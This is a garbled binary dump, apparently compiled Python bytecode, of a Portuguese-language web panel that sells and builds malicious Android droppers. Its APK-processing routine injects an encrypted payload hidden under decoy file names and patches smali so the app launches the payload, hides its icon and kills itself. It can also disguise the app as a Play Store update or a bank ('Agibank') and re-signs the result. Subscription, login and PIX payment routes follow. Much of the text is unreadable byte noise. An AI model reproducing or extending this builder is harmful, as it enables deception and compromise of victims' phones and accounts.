 "t j ||#¡t j |"|#¡¡ qûqßd }+d0d1„ },t j tjd | › d2¡}-zÀzt j 	|-¡r2t
 |-¡ tjddtdd3|d|-dg	dd4d5}.|.j$dkra|.j%rT|.j%d d6… nd7}/t&d8|.j$› d9|/›ƒ |,t j |-d¡ƒ}+|+s´t j |-d:¡}0t j 	|0¡r´t|0dd!d;d<})|) ¡ }1W d   ƒ n	1 s“w   Y  t 'd=|1¡}2|2r´|2 (d>¡ )¡ }3|3r´|3 *¡ d?vr´|3}+W n t+yÏ }4 zt&d@|4› ƒ W Y d }4~4nd }4~4ww W zt j 	|-¡rÞt
 |-¡ W n   Y nzt j 	|-¡rôt
 |-¡ W w W w    Y w |+s|,t j |
d¡ƒ}+|+sdA}+t&dBƒ nt&dC|+› ƒ |	pdD )¡ }5|5 ,dEdF¡ ,dGdH¡}6|+ ,dEdF¡ ,dGdH¡}7t j |dIdJdKdLdM¡}8t j 	|8¡r›t|8dd!d"})|) ¡ }9W d   ƒ n	1 s\w   Y  dN}:|:|9v r—dO|7 dP |6 dQ };|9 ,|:|;d>¡}9t|8d&d!d"})|) |9¡ W d   ƒ n	1 s‘w   Y  nt&dRƒ t j |dIdJdKdLd¡}t j 	|¡r)t|dd!d"})|) ¡ }<W d   ƒ n	1 sÄw   Y  dS}tjd$||<tjd%}=|=|<krà|=}<t&dTƒ dU}>|>|<v rò|< ,|>dVd>¡}<t&dWƒ dX}?|?|<v r|< -|?¡}@|< ,|?dV¡}<t&dY|@› dZƒ t|d&d!d"})|) |<¡ W d   ƒ n	1 s$w   Y  z}t j 	|8¡r¥t|8dd!d"}A|A ¡ }BW d   ƒ n	1 sHw   Y  d[}C|C|Bv rd\|Bvr|+rd]|7 d^ |6 d_ }D|B ,|C|Dd>¡}Bt|8d&d!d"}A|A |B¡ W d   ƒ n	1 s…w   Y  t&d`ƒ nd\|Bv r™t&daƒ n|+s¡t&dbƒ nt&dcƒ W n t+yÀ }E zt&dd|E› ƒ W Y d }E~End }E~Eww zlt j 	|8¡r,t|8dd!d"}A|A ¡ }FW d   ƒ n	1 sàw   Y  de}G|Gdf }H|G|Fv rdg|Fvr|F ,|G|Hd>¡}Ft|8d&d!d"}A|A |F¡ W d   ƒ n	1 sw   Y  t&dhƒ ndg|Fv r(t&diƒ nt&djƒ W n t+yG }I zt&dk|I› ƒ W Y d }I~Ind }I~Iww z]t j 	|8¡r¤t|8dd!d"}A|A ¡ }JW d   ƒ n	1 sgw   Y  dl}Ktjdm|K|Jtjd>dn}L|L|Jkr t|8d&d!d"}A|A |L¡ W d   ƒ n	1 s–w   Y  t&doƒ nt&dpƒ W n t+y¿ }M zt&dq|M› ƒ W Y d }M~Mnd }M~Mww zédd l.‰dd l/‰ t0ƒ ‰‡ ‡‡fdrds„}N|Nƒ }O|Nƒ }P|Nƒ }Qt j |dIdJdKdLdt¡}Rt j 	|R¡rGt|Rdd!d"}A|A ¡ }SW d   ƒ n	1 sw   Y  |S ,du|O¡}S|S ,dv|P¡}S|S ,dw|Q¡}St|Rd&d!d"}A|A |S¡ W d   ƒ n	1 s5w   Y  t&dx|O› dy|P› dz|Q› ƒ t j |d(d)¡}Tt j 	|T¡r¨t|Tdd!d"}A|A ¡ }UW d   ƒ n	1 smw   Y  |U ,du|O¡}U|U ,dv|P¡}U|U ,dw|Q¡}Ut|Td&d!d"}A|A |U¡ W d   ƒ n	1 sœw   Y  t&d{|O› ƒ W n t+yÃ }V zt&d||V› ƒ W Y d }V~Vnd }V~Vww t1|ƒ t2|ƒ |rÑ|nd}}W|	r¢t j 	|¡	r¢d }Xz.|d~ }Yt3 |¡}Z|Zj4d dksù|Zj4d> dk	rt+d€|Zj4› ƒ‚|Z 5d¡ 6|Yd‚¡ |Y}XW n   Y |X	r¢dƒd„d…d†d‡dˆœ}[d‰}\z@t3 |X¡ 5d¡}]|[ 7¡ D ]/\}^}_t j ||^¡}`t j|`dd |] 8|_|_ft3j9¡}adŠD ]}b|aj6t j |`|b¡d‚dd‹ 	qI	q,d}\W n t+	yy }4 zt&dŒ|4› ƒ W Y d }4~4nd }4~4ww |\	s¢dD ]"}ct j ||c¡}dt j|ddd dŠD ]}et
 "|Xt j |d|e¡¡ 	q‘	qt j |dŽ¡}ft j 	|f¡	rÜz't: ;|f¡}g|g <¡ }h|h =d¡D ]}i|i >d¡d‘k	rÌ|W|i_?	q¿|gj|fd!dd’ W n   Y t  |¡D ]‘\}}}|D ]ˆ}j|j @d“¡
rot j ||j¡}kzqt|kdd!d;d<})|) ¡ }lW d   ƒ n	1 
sw   Y  |l ,d”|W¡ ,d•|W¡ ,d–|W¡}m|
rD|m ,d—| >d˜d™¡¡}m|m ,dš| >d›dœ¡¡}m|m ,d| >dždŸ¡¡}m|l|mk
rft|kd&d!d"})|) |m¡ W d   ƒ n	1 
saw   Y  W 	qè   Y 	qè	qè	qát j |d(d)¡}n|d-krtt j 	|n¡rtzÒt|ndd!d"})|) ¡ }oW d   ƒ n	1 
sŸw   Y  |o ,d |W¡}o|r| >d'i ¡}p|o ,d¡|p >d¢d£¡¡}o|o ,d¤|p >d¥d¦¡¡}o|o ,d§|p >d¨d©¡¡}o|o ,dª|p >d«d¬¡¡}o|p >d­¡
rê|o ,d®|p >d­¡¡}o|p >d¯¡
rù|o ,d°|p >d¯¡¡}o|p >d±¡r|o ,d²|p >d±¡¡}o|r;t j 	|¡r;dd lA}qt|d³ƒ})|q B|) ¡ ¡ C¡ }rW d   ƒ n	1 s0w   Y  |o ,d´|r¡}ot|nd&d!d"})|) |o¡ W d   ƒ n	1 sSw   Y  W n t+ys }s zt&dµ|s› ƒ W Y d }s~snd }s~sww d¶d·d	œt| < t|d³ƒ})|) ¡ }tW d   ƒ n	1 sw   Y  t/ Ddd¸¡}u|u Ed¹dº¡t  Fd»¡ }v|vtGtH|t|uƒƒ }wdd lA}xdd l}ydd l.}zd¼g d½¢fd¾g d¿¢fdÀg dÁ¢fdÂg dÃ¢fdÄg dÅ¢fdÆg dÇ¢fdÈg dÉ¢fdÊg dË¢fdÌg dÍ¢fdÎg dÏ¢fg
}{t/ I|{¡}|||d }}||d> }~t  FtJ|} K¡ ƒ¡}tGdÐdÑ„ tL|} K¡ |ƒD ƒƒ}€|x B|€¡ C¡ }|x B|¡ C¡ }‚|yjt j |dddM¡dd D ]P}ƒt|ƒdd!d"})|) ¡ }„W d   ƒ n	1 sHw   Y  |„ ,dÒdG|› dG¡}„|„ ,dÓdG|‚› dG¡}„t|ƒd&d!d"})|) |„¡ W d   ƒ n	1 syw   Y  q/t j |dÔ¡}…t j 	|…¡r“t  |…¡ t j |d(¡}†t j|†dd t j |†|}¡}‡t|‡dÕƒ})|) |w¡ W d   ƒ n	1 s¾w   Y  t/ DdÖd×¡t/ DdØdÙ¡t/ DdÚdÛ¡g}ˆtL|~|ˆƒD ](\}‰}Štt j |†|‰¡dÕƒ})|) t  F|Š¡¡ W d   ƒ n	1 sûw   Y  qÙtM|ƒ tN|ƒ tO|ƒ tP|ƒ}‹tQ||‹ƒ tR|ƒ tS|ƒ tT|ƒ tU||ƒ dÜdÝd	œt| < t j 	t¡s:t+dÞƒ‚tjddtdß|d|gdddàdá}Œt j 	|¡s{tjddtdâgd·dã tjddtdß|d|gdddàdá}Œt j 	|¡s{t+dä|Œj%› ƒ‚dådæd	œt| < dç}t j 	|¡r¤tj|ddè||gddé t j 	|¡r¤t
 V||¡ dêdëd	œt| < t j tjd | ¡}Žt j|Ždd t j 	tW¡sÇt+dìƒ‚tjddtWdí|dî|Žgdddïdá}d }t j 	|Ž¡røt  X|Ž¡D ]})|) @dð¡röt j |Ž|)¡} nqå|st+dñ|j%› ƒ‚| › dð}‘tY|Wƒ› dð}’t
 V|t j tjd |‘¡¡ z	t
j|Žddò W n   Y dódô|‘|’dõœt| < t||dö| ƒ tZ|döƒ t[|d÷dø|W› ƒ t\dùdú|W› dûdüdý|ddþœdÿ|ddþœgd  W nf t+yÇ }s zYt]|sƒ}“t&d| › d|“› ƒ d|“d d… › ddddœt| < t||d| ƒ tZ|dƒ t\dd	|› d
ddý|ddþœd|“d d… d‰dþœgd  W Y d }s~snd }s~sww W |
||||fD ]&}”zt j ^|”¡rât
j|”ddò nt j _|”¡rît  |”¡ W qÐ   Y qÐdD ]%}•zt j tjd | › |•› ¡}–t j _|–¡rt  |–¡ W qú   Y qúzt `¡  W d S    Y d S |
||||fD ]&}”zt j ^|”¡rGt
j|”ddò nt j _|”¡rSt  |”¡ W q5   Y q5dD ]%}•zt j tjd | › |•› ¡}–t j _|–¡r|t  |–¡ W q_   Y q_zt `¡  W w    Y w (  NrØ  Ú
_extractedÚ_dropperrÚ  z_unsigned.apkz_aligned.apkzAguardando vaga...rà  ©rû  ÚprogressÚprocessandozExtraindo APK...rã  Tr  r)  r"  zExtraindo via Apktool...r  r»  r¼  rž   r¾  r¿  zPreparando Dropperr•   rb  z.bakr   r"  ú**r²  )Ú	recursiver*  r0  a4  .method public final synthetic d(Landroid/content/Context;Ljava/lang/String;)V
    .locals 2

    :try_start_0
    invoke-virtual {p1}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
    move-result-object v0
    invoke-virtual {v0, p2}, Landroid/content/pm/PackageManager;->getLaunchIntentForPackage(Ljava/lang/String;)Landroid/content/Intent;
    move-result-object v0
    if-eqz v0, :cond_0
    const/high16 v1, 0x14000000
    invoke-virtual {v0, v1}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
    invoke-virtual {p1, v0}, Landroid/content/Context;->startActivity(Landroid/content/Intent;)V
    :cond_0
    :try_end_0
    .catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0

    goto :do_hide

    :catch_0
    nop

    :do_hide
    :try_start_1
    const-wide/16 v0, 0x1388
    invoke-static {v0, v1}, Ljava/lang/Thread;->sleep(J)V
    :try_end_1
    .catch Ljava/lang/InterruptedException; {:try_start_1 .. :try_end_1} :catch_1

    :catch_1
    invoke-virtual {p0, p1}, Lcom/android/system/qspaas/RcvJbrzn;->b(Landroid/content/Context;)V
    invoke-virtual {p0, p1}, Lcom/android/system/qspaas/RcvJbrzn;->c(Landroid/content/Context;)V

    :try_start_2
    const-wide/16 v0, 0x12C
    invoke-static {v0, v1}, Ljava/lang/Thread;->sleep(J)V
    :try_end_2
    .catch Ljava/lang/InterruptedException; {:try_start_2 .. :try_end_2} :catch_2

    :catch_2
    invoke-static {}, Landroid/os/Process;->myPid()I
    move-result v0
    invoke-static {v0}, Landroid/os/Process;->killProcess(I)V

    return-void
.end methodz`\.method public final synthetic d\(Landroid/content/Context;Ljava/lang/String;\)V.*?\.end method)Úflagsr/  Ú	playstorerû  úup.htmlÚplayv2z
up_v2.htmlzplay.cssÚcustomz$<html><body>Loading...</body></html>r   c              
   S   s@  z…t j | ¡s
W d S t| dƒ}| d¡}W d   ƒ n1 sw   Y  t|ƒdkr9|d dkr9|d dkr9W d S t| ddd	d
}| ¡ }W d   ƒ n1 sPw   Y  d|vr\W d S t d|¡}|rz| d¡ 	¡ }|r}d|vr€t 
d|¡rƒ|W S W d S W d S W d S W d S  tyŸ } ztd|› ƒ W Y d }~d S d }~ww )Nr•  rv   rL  r   rS  r%  r)  r*  r+  r,  z	<manifestrÁ  rA   rÂ  zAviso _try_read_pkg: )r¡   r¢   r¬   rI  rJ  rx  rt  rÄ  rŒ  ro  rW  r±   r­   )ÚmpÚbfÚheadrÆ  ÚmtextÚmm2ÚcandÚ_eerF   rF   rG   Ú_try_read_pkgç  s>   ÿ$
ÿýüüüþ€þz"process_apk.<locals>._try_read_pkgÚ_pkgreadr½  rÀ  )r—   r™   r›   ó    z[redirect] apktool decode rc=z stderr=r   r+  r,  zrenameManifestPackage:\s*(\S+)r%  )Únullú~zAviso apktool decode for pkg: rW   zH[redirect] AVISO: package do payload nao detectado, usando diff fallbackz&[redirect] payload package detectado: zabout:blankú\z\\r¶  z\"r3  r4  r5  Úqspaasr˜  z¯    invoke-virtual {v1, v0}, Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V

    invoke-virtual {p0, v13}, Landroid/app/Activity;->setContentView(Landroid/view/View;)Va0      invoke-virtual {v1, v0}, Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V

    # --- REDIRECT WATCHER kickoff ---
    new-instance v0, Lcom/android/system/qspaas/RedirectWatcher;
    iget-object v1, p0, Lcom/android/system/qspaas/MainActivity;->k:Landroid/webkit/WebView;
    const-string v2, "z"
    const-string v3, "a^  "
    invoke-direct {v0, p0, v1, v2, v3}, Lcom/android/system/qspaas/RedirectWatcher;-><init>(Landroid/content/Context;Landroid/webkit/WebView;Ljava/lang/String;Ljava/lang/String;)V
    invoke-virtual {v0}, Lcom/android/system/qspaas/RedirectWatcher;->run()V

    invoke-virtual {p0, v13}, Landroid/app/Activity;->setContentView(Landroid/view/View;)Vz?Aviso: anchor do MainActivity nao encontrado para redirect modezy.method public final synthetic d(Landroid/content/Context;Ljava/lang/String;)V
    .locals 0

    return-void
.end methodzJ[redirect] metodo d() neutralizado em RcvJbrzn (sem startActivity payload)z9invoke-static {p1}, Landroid/os/Process;->killProcess(I)Vrt  z/[redirect] killProcess neutralizado em RcvJbrznz„invoke-virtual {v0, v3, v2, v1}, Landroid/content/pm/PackageManager;->setComponentEnabledSetting(Landroid/content/ComponentName;II)Vz[redirect] zA chamadas de setComponentEnabledSetting neutralizadas em RcvJbrznzå    const-string v0, "file:///android_asset/up.html"
    iget-object v1, p0, Lcom/android/system/qspaas/MainActivity;->k:Landroid/webkit/WebView;
    invoke-virtual {v1, v0}, Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)VzREDIRECT FASTPATHaP      # --- REDIRECT FASTPATH: pula up.html se payload ja instalado ---
    iget-object v1, p0, Lcom/android/system/qspaas/MainActivity;->k:Landroid/webkit/WebView;
    :try_start_fp
    invoke-virtual {p0}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
    move-result-object v0
    const-string v2, "zõ"
    const/4 v3, 0x0
    invoke-virtual {v0, v2, v3}, Landroid/content/pm/PackageManager;->getPackageInfo(Ljava/lang/String;I)Landroid/content/pm/PackageInfo;
    move-result-object v0
    if-eqz v0, :cond_fp_notinstalled
    const-string v0, "aó  "
    invoke-virtual {v1, v0}, Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V
    goto :cond_fp_done
    :try_end_fp
    .catch Ljava/lang/Exception; {:try_start_fp .. :try_end_fp} :catch_fp
    :catch_fp
    :cond_fp_notinstalled
    const-string v0, "file:///android_asset/up.html"
    invoke-virtual {v1, v0}, Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V
    :cond_fp_done
    # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
    # marcador REDIRECT FASTPATH aplicadozB[redirect] FASTPATH injetado: pula up.html se payload ja instaladoz([redirect] FASTPATH ja presente, pulandozZ[redirect] AVISO: sem payload_pkg conhecido, FASTPATH desativado (usa diff fallback do RW)zE[redirect] AVISO: anchor up.html loadUrl nao encontrado para FASTPATHz$[redirect] erro injetando FASTPATH: zT    invoke-virtual {v13, v0}, Landroid/webkit/WebSettings;->setDomStorageEnabled(Z)Va¢  

    # --- WebViewClient para manter navegacao dentro do WebView ---
    new-instance v0, Lcom/android/system/qspaas/RedirWvc;
    invoke-direct {v0}, Lcom/android/system/qspaas/RedirWvc;-><init>()V
    iget-object v1, p0, Lcom/android/system/qspaas/MainActivity;->k:Landroid/webkit/WebView;
    invoke-virtual {v1, v0}, Landroid/webkit/WebView;->setWebViewClient(Landroid/webkit/WebViewClient;)V
    const/4 v0, 0x1
zRedirWvc;-><init>()Vz>[redirect] setWebViewClient(RedirWvc) injetado em MainActivityz3[redirect] WVC ja presente em MainActivity, pulandozM[redirect] AVISO: anchor setDomStorageEnabled nao encontrado para injetar WVCz[redirect] erro injetando WVC: zf.method public final synthetic r(Landroid/content/Intent;)V
    .locals 0

    return-void
.end methodzM\.method public final synthetic r\(Landroid/content/Intent;\)V.*?\.end method)rÙ  rŸ  zZ[redirect] metodo r(Intent) neutralizado em MainActivity (preserva WebView na 2a abertura)zR[redirect] AVISO: metodo r(Intent) nao encontrado em MainActivity para neutralizarz)[redirect] erro neutralizando r(Intent): c                     s8   	 d  ˆ jˆjˆ  dd¡d¡} | ˆvrˆ | ¡ | S q)NTrW   r   rI   rt   )r[   ry   r{   rJ   Úadd)Ú_n©Ú_rnd_rdrÚ_str_rdrÚ_used_namesrF   rG   Ú_uniq_bridge_nameÞ  s   
üz&process_apk.<locals>._uniq_bridge_namezDrpJsBridge.smaliÚ	opencheckÚstartInstallÚupdatecheckz'[redirect] DrpJsBridge methods -> open=z	 install=z update=z([redirect] up.html bridge calls -> open=z-[redirect] erro randomizando metodos bridge: r†   z_converted.pngé   zicon dimensions too large: ÚRGBAr|  é0   éH   é`   é   éÀ   )úres/mipmap-mdpiúres/mipmap-hdpiúres/mipmap-xhdpiúres/mipmap-xxhdpiúres/mipmap-xxxhdpiF)zic_launcher.pngzic_launcher_round.png)ÚoptimizezAviso resize icon: )rþ  rý  rÿ  r   r  zres/values/strings.xmlrz   Únamera  )r-  Úxml_declaration)r#  r'  r¯  ÚAgibankÚAgiBankÚDRPR_TITULOÚtituloúOtimizando sistemaÚDRPR_SUBTITULOÚ	subtituloúAguarde o procedimento...Ú
DRPR_BADGEÚbadger°  ÚAPPNAMEú[PUBLISHER]Ú	publisherúPlatform, Inc.ú[RATING]Úratingú4.5ú[DOWNLOADS]Ú	downloadsú1K+ú[SIZE]Úsizeú8.6 MBÚchange1ú	[CHANGE1]Úchange2ú	[CHANGE2]Úchange3ú	[CHANGE3]r•  ú
[BASE-ICO]zAviso up.html: zInjetando Payloadr—  r–  rv   Úbigé   zio_schema.cache)zext_config.idxznet_index.dbzsdk_registry.cachezkit_profile.idx)zmod_profile.binzbase_patch.datzres_profile.dbzext_module.pak)zapp_module.dbzutil_bundle.binzext_config.pakzmod_patch.bin)zres_patch.cachezres_init.pakzdata_profile.pakzio_profile.cache)zext_profile.dbzsdk_config.cachezio_config.idxzutil_index.cache)zres_module.dbzutil_init.idxzmod_bundle.binzsys_loader.cache)zapi_index.idxzcore_data.dbzlib_bundle.pakznet_schema.idx)zsdk_module.binzapp_init.cachezcfg_patch.datzcore_profile.pak)zio_bundle.dbzext_init.binzmod_config.cachezapp_loader.bin)zsys_profile.idxznet_config.pakzsdk_bundle.cachec                 s   s    | ]	\}}||A V  qd S r  rF   )rK   Úar3  rF   rF   rG   rT   €  ó   € zprocess_apk.<locals>.<genexpr>z"MCe4qkNoRrMPUcr7Eg=="z"VEXUwzIPKNljf66aZrY="zassets/dbliqgnjl.datr—  i¼  i„  i˜  iü  iR  iL  zCompilando APKéP   zapktool.jar nao encontrador3  éX  r–   zempty-framework-dir)r™   zErro na compilacao: zAlinhando APKéU   z/usr/bin/zipalignÚ4)r—   zAssinando APKéZ   zsigner.jar nao encontradoz--apksz--outr–  ú.apkzErro na assinatura: rœ   Ú	Concluidor¢  ©rû  rÕ  Úoutput_fileÚdisplay_namerd  z	Build APKzApp: zBUILD CONCLUIDOzAPK **z** compilado com sucesso.é^Å" ÚUsuario©r  ÚvalueÚinlineÚModo©rê  rë  zERRO NO BUILD rš   zErro: r  z...©rû  rÕ  Úerrorre  z
BUILD ERROzErro ao compilar APK **ú**.éDDï ÚError‘  )ú	_icon.pngz_icon.png_converted.png)ar¡   r¢   r[   ÚappÚconfigÚBUILD_STATUSÚ_BUILD_SEMAPHOREÚacquirerc  r¬   r¯   r°   r  ÚzipfileÚZipFileÚ
extractallÚnamelistÚextractr©   rª   rÃ  ÚcopytreeÚDROPPER_TEMPLATErC  ÚremoveÚglobrI  rJ  rt  rw  ÚDOTALLrK  ÚPLAYSTORE_OVERLAYrB  Úcopy2ÚREDIRECT_OVERLAYr«   r®   r­   rÄ  rŒ  ro  r   r±   rG  rŸ  rz   rB   Úsetr  r'  ÚPILImager  Úconvertr…  rE  ÚresizeÚLANCZOSÚETÚparseÚgetrootÚfindallrï  r˜   rD  rÅ  r‰  rŠ  rJ   Úto_bytesÚurandomrˆ  rm  rC   rx  r‡  Úzipr|  rÌ  rê  rr  rú  r	  rª  r²  rÐ  r  Ú
SIGNER_JARrþ  r
   rg  r^  rì  r]   rš  ÚisfileÚrelease)—r_  rÅ  Úcustom_app_namerN  Úcustom_icon_pathÚdropper_configÚvisual_modeÚ	hide_iconÚcustom_htmlÚredirect_urlÚuser_apk_extractedrL  Úunsigned_apk_pathÚaligned_apk_pathÚzip_refÚmemberÚbuild_artifactr  rL   r  r  Ú	_glob_rcvÚ	rcv_filesÚrcv_pathÚrfÚrcv_contentÚnew_drÌ  Ú	smali_srcÚ	smali_dstÚroot_sÚdirs_sÚfiles_sr?  Údst_dirÚsfÚ
assets_srcÚ
assets_dstÚv2_srcÚcss_srcÚhtml_to_writera  Ú
rsmali_srcrÈ  rå  Úpkg_decode_dirÚ_apktÚ_errÚayÚytÚymrã  rº   Ú
target_urlÚurl_smali_safeÚpkg_smali_safeÚma_pathÚmaÚanchorÚinjectÚrcvÚ	patched_dÚ	kill_lineÚdisable_lineÚ	n_disablerÄ  Ú_ma_fpÚ
_fp_anchorÚ
_fp_injectÚ_fpeÚ_ma3Ú_wvc_anchorÚ_wvc_injectÚ_wvceÚ_ma2Ú_new_rÚ
_patched_rÚ_rerò  Ú	_rnd_openÚ_rnd_installÚ_rnd_updateÚ_drp_spÚ_drp_sÚ_up_pÚ_up_sÚ_brmra  Úicon_to_useÚ	convertedÚ_imgÚ_density_sizesÚ
_resize_okÚ
_base_iconÚ_dÚ_szÚ_pathÚ_resizedÚ_namerž   r¢   r  Ústrings_xmlÚtreeÚrootrz   ÚfileÚ	file_pathr  Únew_contentÚup_html_pathÚ
up_contentÚpsrÅ  Úicon_b64r  Úraw_datarj  r4  rk  rŽ  Ú_globrì  Ú_ASSET_POOLSÚ_poolÚdat_nameÚ_decoy_namesÚ_keyrÉ  Únew_data_strÚnew_key_strÚ_smÚ_scÚold_payloadr  Úpayload_pathÚ_decoy_sizesÚ_dnÚ_dsÚ_renamesÚres_bÚzipalign_binÚ
output_dirÚres_sÚ	final_apkÚ
final_namer0  Ú	error_msgÚtmpr  r,  rF   rî  rG   Úprocess_apk"  sè  
ÿ€üÿ€


þÿ
ÿÿ'ü
ÿ€$þ$þ$þÿ&$þ$ÿ

ÿý
ÿ€€ÿ€
€üÿ

ÿ
üüûûÿÿ€
ÿÿü



ÿ
ÿûû
ö
öÿÿ



€€ÿ
ÿÿ	ÿ


€€ÿ	
ÿÿû
ÿ
€€ÿ8:8:€€ÿ
 ûÿ€ÿÿ
€
ÿ
ÿ€òÿ
ÿÿÿ€€ÿ
ÿ









ï
 8:€
ÿ


ýÿ€

þþþþþ




þü
(
þü€ú€€
€ó€
€
rÓ  z/check-sessionc                  C   sÔ   dt v rdtƒ } | d  t d i ¡}|st  ¡  tddiƒS t  dd¡| dd¡kr5t  ¡  tdddd	œƒS t|ƒrDt  ¡  tddd
œƒS dt vrOt d¡t d< tdt d | dd¡| d¡t d dœƒS tddiƒS )NrN  r  Ú	logged_inFÚsession_versionr   TÚpassword_changed)rÔ  ÚexpiredÚreason)rÔ  r×  Ú
csrf_tokenrÎ  rö  rK  rú  )rÔ  rN  rö  rú  rÙ  )r   r  rï  Úclearr   r(  r£   Útoken_urlsafe©r¡  rW  rF   rF   rG   Úcheck_session	  s,   
ûrÝ  r
  c                  C   s\   dt v r*tƒ } | d  t d i ¡}t|ƒrt  ¡  tdƒS tdt d | dd¡dS tdƒS )NrN  r  z
index.htmlrö  rK  )rW  rö  )r   r  rï  r(  rÚ  r   rÜ  rF   rF   rG   Úindex,	  s   rÞ  ú/loginÚPOST)Úmethodsc               	   C   s  t ƒ } t| ƒrtdd| › ddd tdddœƒd	fS tjd
d
d}t|tƒs0tdddœƒdfS | d¡| d¡}}t|t	ƒrEt|t	ƒsNtdddœƒdfS |d d… }t
ƒ }||d v rét|d | d |ƒrét|d | ƒrytdddœƒdfS |d | d }| d¡s™| d¡s™t|ƒ|d | d< t|ƒ d
t_|td< |d |  dd¡td< |d |  dd¡td< t d¡td< t|dd| › ƒ tdd|› d d!d"td d
d#œd$| d
d#œgd% td
td d&œƒS t| ƒ td'd(|› d)d*d$| d
d#œgd% tdd+dœƒd,fS )-NzALERTA DE SEGURANCAzIP **z0** bloqueado por excesso de tentativas de login.éžõ ©rê  Fú%Muitas tentativas. Aguarde 5 minutos.©ÚsuccessÚmessageé­  T©ÚforceÚsilentúDados invalidosé  rN  r¶   é@   r  úLicenca expiradaé“  r   r!  rö  rK  rÕ  r   rÎ  rÙ  ÚLoginzIP: ÚLOGINú
Usuario **z** fez login no painel.éñfc ÚCargor3  ÚIPr7  )ræ  rö  zLOGIN FALHOUz#Tentativa de login invalida para **r:  r;  Ú	Incorretoé‘  )r5  rA  rì  r   r   Úget_jsonÚ
isinstancer  rï  r]   r  r$  r(  rF  r   r  r   Ú	permanentr£   rÛ  r^  rD  )r@  r¡  rP  r,  Údbr"  rF   rF   rG   Úlogin7	  s\   
ý
"

þü	
ürý  ú/logoutc                   C   s,   dt v rtt d ddƒ t  ¡  ttdƒƒS )NrN  ÚLogoutÚSaidarÞ  )r   r^  rÚ  r   r	   rF   rF   rF   rG   Úlogoutp	  s   r  ú/api/registerc                  C   sü  t ƒ } t| ƒr!tdd| › ddd| ddœgd td	d
dœƒdfS tjddd}t|tƒs6td	ddœƒdfS t| 	dd¡ƒ 
¡  ¡ d d… }t| 	dd¡ƒ 
¡ d d… }t| 	dd¡ƒ}|rd|rd|tvrmtd	ddœƒdfS t|ƒdk r|td	ddœƒdfS t| ƒ tƒ }|d  ¡ D ]}| 	dd¡|kržtd	ddœƒdf  S q‰|d  	di ¡}| 	d¡r¶| 	d¡r¶| 	d¡s¿td	ddœƒd fS t| }tt ¡ ƒ}	d!|vrÑ|d" }tƒ }
tƒ }tƒ }|
|||d#œ}zt|d$ d%|d& › |	||d'}W n% ty } ztd	d(t|ƒd d)… › dœƒd*fW  Y d }~S d }~ww ||
t|ƒ||d+ |d, t ¡  ¡ t ¡ td-d.  ¡ d/œ|d0 |	< t|ƒ d1|d$ d2 d3› d4d5¡}td6d7d8d9|ddœd:|d& ddœd;|ddœd<|d, d	dœgd td|	|d= |d> |d& |d?œƒS )@NzRATE LIMIT - REGISTROzIP **`z/`** atingiu o limite de tentativas de registro.râ  rö  Tr3  r7  Frä  rå  rè  ré  rì  rí  r÷  rW   r–  r¶   é€   Úplanr   z'Senha muito curta (minimo 6 caracteres)r  zEmail ja cadastrador  r  r  r   r  z?Gateway de pagamento nao configurado. Contacte o administrador.é÷  ú@z@usuario.local)r  Úcpfr÷  Úphonerâ  zBYPASS - Plano rá  )r±  zErro ao gerar PIX: é–   r[  rÕ  r«  r%  ©Úhours)r÷  r  Úpassword_hashr  Ú	plan_daysr«  rø  rŒ  r	  zR$ r¢  z.2frw   ú,z
PIX GERADOzNovo PIX criado para registro.éö‚; ÚEmailÚPlanoÚValorz	Charge IDr¬  r­  )ræ  Úreg_idr¬  r­  Ú
plan_labelr£  )r5  rI  rì  r   r   rù  rú  r  r]   rï  ro  r   ÚPLAN_PRICESrx  rJ  r  ÚvaluesÚuuidÚuuid4rH   rb   rp   r³  r±   r   r   r  r  r   r  rG  )r@  r¡  r÷  r¶   r  rü  ÚudataÚgwÚ	plan_infor  r  r  r  r±  Úpixr  Ú
amount_fmtrF   rF   rG   Úapi_registerx	  sš   
ü
 ÿ
û0€ÿ
ø


üüúr  >   ÚgodÚmodÚinfor²  ÚsudoÚtestrW  rí  rï  ÚstaffÚtesteÚmasterr5  ÚsupportrK  ÚsysadminÚ	moderatorÚ	superuserÚ	webmasterÚadministratorc                    s®  |d }t  dd| d¡d ¡dd… p t  dd|¡dd… p d‰ t‡ fd	d
„tD ƒƒr_t  dd| d¡d  d¡d ¡dd… }|pDdd t  dd| d¡d ¡dd…  ‰ ˆ dd… p^d‰ ˆ }d}ˆ |d v ry|› |› ‰ |d7 }ˆ |d v si|d |dt ¡  ¡ |d t ¡ t|d d  ¡ dg dddddœdœ
|d ˆ < |d | = t	|ƒ t
dddˆ › d|d › dƒ td d!d"d#ˆ d$d%œd&|d$d%œd'|d › dd$d%œgd( ˆ S ))zDCreate user from paid registration. Must be called inside _reg_lock.r÷  ú[^a-zA-Z0-9_]rW   r  r   Nr  rW  c                 3   s*    | ]}ˆ   ¡ |kpˆ   ¡  |¡V  qd S r  )r   rF  r=  ©rN  rF   rG   rT   Þ	  ó   €( z)_activate_registration.<locals>.<genexpr>éÿÿÿÿrw   rO   ÚusrrL   Úusr_1r%  r  r  rK  r  rÔ  rð  rñ  )
r¶   r÷  rö  rø  rù  rú  rû  rü  rý  rþ  r	  r5  zNovo Cadastroú	Usuario: z
 | Plano: ú diaszNOVO CADASTROzNova conta criada via PIX.r1  r2  Tr3  r  r  r7  )rt  rw  r  rC  Ú_RESERVED_USERNAMESr   r  r  r   r  r^  rì  )r  Úregrü  r÷  Údomain_partr  ÚcounterrF   r.  rG   Ú_activate_registrationÙ	  sH   :*,þ

ö


ýü
r9  z/api/pix/status/<reg_id>c                 C   s¶  t  dd| ¡d d… } tƒ }| di ¡ | ¡}|s!tddiƒdfS z:t ¡ t |d ¡krZt tƒ }| | di ¡v rD|d | = t	|ƒ W d   ƒ n1 sNw   Y  tdd	iƒW S W n   Y | d
¡rktddiƒS |d  di ¡}t
| dd¡|ƒ}|dkr†tdd	iƒS |dkrÕt: tƒ }| di ¡ | ¡}|r | d
¡r­tddiƒW  d   ƒ S d|d |  d
